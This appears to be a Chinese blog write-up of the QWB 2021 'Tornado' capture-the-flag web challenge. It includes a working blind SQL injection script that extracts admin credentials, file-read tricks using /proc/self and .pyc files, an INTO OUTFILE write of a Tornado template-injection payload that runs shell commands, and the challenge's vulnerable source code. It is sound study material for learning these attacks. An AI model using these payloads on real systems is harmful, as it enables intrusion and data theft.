[QWB2021 Quals]陀那多/托纳多

原创

Arnoldqqq 于 2021-06-19 04:01:51 发布 691 收藏

文章标签： ctf

本文链接：https://blog.csdn.net/weixin_43610673/article/details/118040597

参考guoke师傅的wp：https://guokeya.github.io/post/SZkQ4b1G/

出题人思路：https://www.anquanke.com/post/id/244153#h2-4

参照上面链接的两篇文章大致梳理下知识点和思路。

在buu上做了一个复现，但buu上的环境不知道是改了啥，sql注入出密码之后，登录那一直提示不是admin用户，导致后面无法读文件。还以为是注入得到的账户密码有问题，瞎折腾了半天。


```python
class ImageHandler(tornado.web.RequestHandler):

    def get(self):
        user = self.get_secure_cookie('user')
        image_name = self.get_argument('qwb_image_name', 'header.jpeg')
        if not image_name:
            self.redirect('/', permanent=True)
            return
        else:
            if not user or user != b'admin':
                self.redirect('/', permanent=True)
                return
            if image_name.endswith('.py') or 'flag' in image_name or '..' in image_name:
                self.finish("nonono, you can't read it.")
                return
            image_name = os.path.join(os.getcwd() + '/image', image_name)
            with open(image_name, 'rb') as (f):
                img = f.read()
            self.set_header('Content-Type', 'image/jpeg')
            self.finish(img)
            return
```

没有登录的话会被直接重定向。

这题开始为一个登录框，注入点在register.php，fuzz一下会发现过滤了一些关键词，特别是tables coluns。
Guoke师傅用的是`performance_schema.file_instances`拿到对应的数据库文件路径。
例如test数据库，数据库文件路径就是/var/lib`/mysql/test/表.frm`

```
mysql> select FILE_NAME from performance_schema.file_instances;
+----------------------------------------------------------+
| FILE_NAME                                                |
+----------------------------------------------------------+
| /usr/share/mysql/english/errmsg.sys                      |
| /usr/share/mysql/charsets/Index.xml                      |
| /var/lib/mysql/ibdata1                                   |
| /var/lib/mysql/ib_logfile0                               |
| /var/lib/mysql/ib_logfile1                               |
| /var/lib/mysql/mysql/engine_cost.ibd                     |
| /var/lib/mysql/mysql/gtid_executed.ibd                   |
| /var/lib/mysql/mysql/help_category.ibd                   |
| /var/lib/mysql/mysql/help_keyword.ibd                    |
| /var/lib/mysql/mysql/help_relation.ibd                   |
| /var/lib/mysql/mysql/help_topic.ibd                      |
| /var/lib/mysql/mysql/innodb_index_stats.ibd              |
| /var/lib/mysql/mysql/innodb_table_stats.ibd              |
| /var/lib/mysql/mysql/plugin.ibd                          |
| /var/lib/mysql/mysql/server_cost.ibd                     |
| /var/lib/mysql/mysql/servers.ibd                         |
| /var/lib/mysql/mysql/slave_master_info.ibd               |
| /var/lib/mysql/mysql/slave_relay_log_info.ibd            |
| /var/lib/mysql/mysql/slave_worker_info.ibd               |
| /var/lib/mysql/mysql/time_zone.ibd                       |
| /var/lib/mysql/mysql/time_zone_leap_second.ibd           |
| /var/lib/mysql/mysql/time_zone_name.ibd                  |
| /var/lib/mysql/mysql/time_zone_transition.ibd            |
| /var/lib/mysql/mysql/time_zone_transition_type.ibd       |
| /var/lib/mysql/sys/sys_config.ibd                        |
```


mysql会纪录执行的sql语句到`performance_schema.events_statements_summary_by_digest`
同理`select (DIGEST_TEXT) FROM performance_schema.events_statements_summary_by_digest`即可得到表结构

```python
import requests
import time
for a in  range(1,50):
    for i in range(130,-1,-1):
        if(i<30):
            exit(0)
        url = "http://4b268355-1ff6-47e8-95e7-92d66d4435d5.node3.buuoj.cn/register.php?username=' or  if((ascii(substr((select group_concat(qwbqwbqwbuser,0x7e,qwbqwbqwbpass)  FROM qwbtttaaab111e )," + str(a) + ",1)) in (" + str(i) + ")),1,0) or '0&password=12"
        #admin~glzjin666888
        #url = "http://dd75b670-cb6d-4309-ad9e-7890cb7a6ca8.node3.buuoj.cn/register.php?username=' or  if((ascii(substr((select (DIGEST_TEXT)  FROM performance_schema.events_statements_summary_by_digest where SCHEMA_NAME in ('qwb') limit 2,1),"+str(a)+",1)) in ("+str(i)+")),1,0) or '0&password=12"
        #INSERT INTO `qwbtttaaab111e` ( `qwbqwbqwbuser` , `qwbqwbqwbpass` ) VALUES (...)
        #url = "http://dd75b670-cb6d-4309-ad9e-7890cb7a6ca8.node3.buuoj.cn/register.php?username=' or  if((ascii(substr((select (file_name)  FROM performance_schema.file_instances limit 150,1),"+str(a)+",1)) in ("+str(i)+")),1,0) or '0&password=12"
        time.sleep(0.5)
        r = requests.get(url)
        if 'this username' in r.text:
            print(chr(i),end='')
            break
        else:
            if('success' in r.text):
                pass
            else:
                print(r.text)
```

得到账户为admin 密码为glzjin666888

而出题人是利用`processlist`表读取正在执行的sql语句，从而得到表名与列名。

后面如果按照预期的话，就是读文件了，有个图片读取的接口，利用这个接口进行任意文件读取。过滤了.py结尾或者含有flag的文件。

任意文件读用的是os.path.join，原理解释：新型任意文件读取漏洞的研究

1、`/proc/self/cmdline` 这个文件可以看到我们的python应用运行的文件夹

2、`/proc/self/environ`，这个文件可以让我们看到一些重要的属性，比如本WEB服务的权限为mysql用户权限。

当py文件无法读取时可以尝试下pyc文件，读取后进行反编译。pyc文件是有一定的命名规则的，可以去app.py的目录寻找pyc文件。pyc的命名规则为`__pycache__/文件名.cpython-2位版本号.pyc`，这里文件名为app，版本号需要爆破一下。

反编译的话用在线工具或者uncompyle6工具。

```
class SecretHandler(tornado.web.RequestHandler):

    def get(self):
        if len(tornado.web.RequestHandler._template_loaders):
            for i in tornado.web.RequestHandler._template_loaders:
                tornado.web.RequestHandler._template_loaders[i].reset()

        msg = self.get_argument('congratulations', 'oh! you find it')
        bans = []
        for ban in bans:
            if ban in msg:
                self.finish('bad hack,go out!')
                return

        with open('congratulations.html', 'w') as (f):
            f.write('<html><head><title>congratulations</title></head><body><script
type="text/javascript">alert("%s");location.href=\'/admin.php\';</script></body>
</html>\n' % msg)
            f.flush()
        self.render('congratulations.html')
        if tornado.web.RequestHandler._template_loaders:
            for i in tornado.web.RequestHandler._template_loaders:
                tornado.web.RequestHandler._template_loaders[i].reset()
```


在`/good_job_my_ctfer.php`路由对应的处理部分，有个ssti，但过滤的很死。不过可利用extends操作，包含渲染文件从而达到一个ssti的效果。

tornado的SSTI利用与SQL注入结合

得到源码后，发现SSTI过滤了很多东西，其中最致命的就是过滤了{{}}标签，那么我们可用的只有{%%}标签，而且{%%}中的危险操作名已经被我过滤得差不多了，而剩下的操作名中，有一个操作是比较危险的，那就是extends操作，它的参数为一个文件名，该文件将会被作为模板文件被包含，并被**渲染**。那么如果我们包含一个带有恶意SSTI的payload的字符串的文件，那么是可以执行该SSTI的payload的。因此我们现在需要往服务器上上传一个恶意文件。

由/proc/self/environ文件可知，该python应用为mysql用户权限启动，可以直接考虑通过之前sql注入点用into outfile语句写文件。
在mysql中默认导出目录为/var/lib/mysql-files/，其他目录是没有导出权限的，因此将文件导出至该文件夹。
然后通过{%extends /var/lib/mysql-files/xxx%}来包含模板文件，从而执行任意ssti的payload。

最终exp：

```
/register.php?username=test&password={% set return __import__("os").popen("cat  /flag").read()%}

/register.php?username=test' into outfile '/var/lib/mysql-files/test&password=123

/good_job_my_ctfer.php?congratulations={% extends /var/lib/mysql-files/test%}
```

flag{cd1c4516-a590-4ff1-9439-8e5cc18b142b}

最后附上题目源码：

```
import tornado.ioloop, tornado.web, tornado.options, pymysql, os, re
settings = {'static_path': os.path.join(os.getcwd(), 'static'),
 'cookie_secret': 'b93a9960-bfc0-11eb-b600-002b677144e0'}
db_username = 'root'
db_password = 'xxxx'

class MainHandler(tornado.web.RequestHandler):

    def get(self):
        user = self.get_secure_cookie('user')
        if user and user == b'admin':
            self.redirect('/admin.php', permanent=True)
            return
        self.render('index.html')


class LoginHandler(tornado.web.RequestHandler):

    def get(self):
        username = self.get_argument('username', '')
        password = self.get_argument('password', '')
        if not username or not password:
            if not self.get_secure_cookie('user'):
                self.finish('<script>alert(`please input your password and username`);history.go(-1);</script>')
                return
            if self.get_secure_cookie('user') == b'admin':
                self.redirect('/admin.php', permanent=True)
            else:
                self.redirect('/', permanent=True)
        else:
            conn = pymysql.connect('localhost', db_username, db_password, 'qwb')
            cursor = conn.cursor()
            cursor.execute('SELECT * from qwbtttaaab111e where qwbqwbqwbuser=%s and qwbqwbqwbpass=%s', [username
, password])
            results = cursor.fetchall()
            if len(results) != 0:
```

```
                if results[0][1] == 'admin':
                    self.set_secure_cookie('user', 'admin')
                    cursor.close()
                    conn.commit()
                    conn.close()
                    self.redirect('/admin.php', permanent=True)
                    return
                else:
                    cursor.close()
                    conn.commit()
                    conn.close()
                    self.finish('<script>alert(`login success, but only admin can get flag`);history.go(-1);</sc
ript>')
                    return
            else:
                cursor.close()
                conn.commit()
                conn.close()
                self.finish('<script>alert(`your username or password is error`);history.go(-1);</script>')
                return


class RegisterHandler(tornado.web.RequestHandler):

    def get(self):
        username = self.get_argument('username', '')
        password = self.get_argument('password', '')
        word_bans = ['table', 'col', 'sys', 'union', 'inno', 'like', 'regexp']
        bans = ['"', '#', '%', '&', ';', '<', '=', '>', '\\', '^', '`', '|', '*', '--', '+']
        for ban in word_bans:
            if re.search(ban, username, re.IGNORECASE):
                self.finish('<script>alert(`error`);history.go(-1);</script>')
                return

        for ban in bans:
            if ban in username:
                self.finish('<script>alert(`error`);history.go(-1);</script>')
                return

        if not username or not password:
            self.render('register.html')
            return
        if username == 'admin':
            self.render('register.html')
            return
        conn = pymysql.connect('localhost', db_username, db_password, 'qwb')
        cursor = conn.cursor()
        try:
            cursor.execute("SELECT qwbqwbqwbuser,qwbqwbqwbpass from qwbtttaaab111e where qwbqwbqwbuser='%s'" % u
sername)
            results = cursor.fetchall()
            if len(results) != 0:
                self.finish('<script>alert(`this username had been used`);history.go(-1);</script>')
                conn.commit()
                conn.close()
                return
        except:
            conn.commit()
            conn.close()
```

```
            self.finish('<script>alert(`error`);history.go(-1);</script>')
            return

        try:
            cursor.execute('insert into qwbtttaaab111e (qwbqwbqwbuser, qwbqwbqwbpass) values(%s, %s)', [username
, password])
            conn.commit()
            conn.close()
            self.finish("<script>alert(`success`);location.href='/index.php';</script>")
            return
        except:
            conn.rollback()
            conn.close()
            self.finish('<script>alert(`error`);history.go(-1);</script>')
            return


class LogoutHandler(tornado.web.RequestHandler):

    def get(self):
        self.clear_all_cookies()
        self.redirect('/', permanent=True)


class AdminHandler(tornado.web.RequestHandler):

    def get(self):
        user = self.get_secure_cookie('user')
        if not user or user != b'admin':
            self.redirect('/index.php', permanent=True)
            return
        self.render('admin.html')


class ImageHandler(tornado.web.RequestHandler):

    def get(self):
        user = self.get_secure_cookie('user')
        image_name = self.get_argument('qwb_image_name', 'header.jpeg')
        if not image_name:
            self.redirect('/', permanent=True)
            return
        else:
            if not user or user != b'admin':
                self.redirect('/', permanent=True)
                return
            if image_name.endswith('.py') or 'flag' in image_name or '..' in image_name:
                self.finish("nonono, you can't read it.")
                return
            image_name = os.path.join(os.getcwd() + '/image', image_name)
            with open(image_name, 'rb') as (f):
                img = f.read()
            self.set_header('Content-Type', 'image/jpeg')
            self.finish(img)
            return


class SecretHandler(tornado.web.RequestHandler):

    def get(self):
```

```
        if len(tornado.web.RequestHandler._template_loaders):
            for i in tornado.web.RequestHandler._template_loaders:
                tornado.web.RequestHandler._template_loaders[i].reset()

        msg = self.get_argument('congratulations', 'oh! you find it')
        bans = []
        for ban in bans:
            if ban in msg:
                self.finish('bad hack,go out!')
                return

        with open('congratulations.html', 'w') as (f):
            f.write('<html><head><title>congratulations</title></head><body><script type="text/javascript">alert
("%s");location.href=\'/admin.php\';</script></body></html>\n' % msg)
            f.flush()
        self.render('congratulations.html')
        if tornado.web.RequestHandler._template_loaders:
            for i in tornado.web.RequestHandler._template_loaders:
                tornado.web.RequestHandler._template_loaders[i].reset()


def make_app():
    return tornado.web.Application([
     (
      '/index.php', MainHandler),
     (
      '/login.php', LoginHandler),
     (
      '/logout.php', LogoutHandler),
     (
      '/register.php', RegisterHandler),
     (
      '/admin.php', AdminHandler),
     (
      '/qwbimage.php', ImageHandler),
     (
      '/good_job_my_ctfer.php', SecretHandler),
     (
      '/', MainHandler)], **settings)


if __name__ == '__main__':
    app = make_app()
    app.listen(8000)
    tornado.ioloop.IOLoop.current().start()
    print('start')
```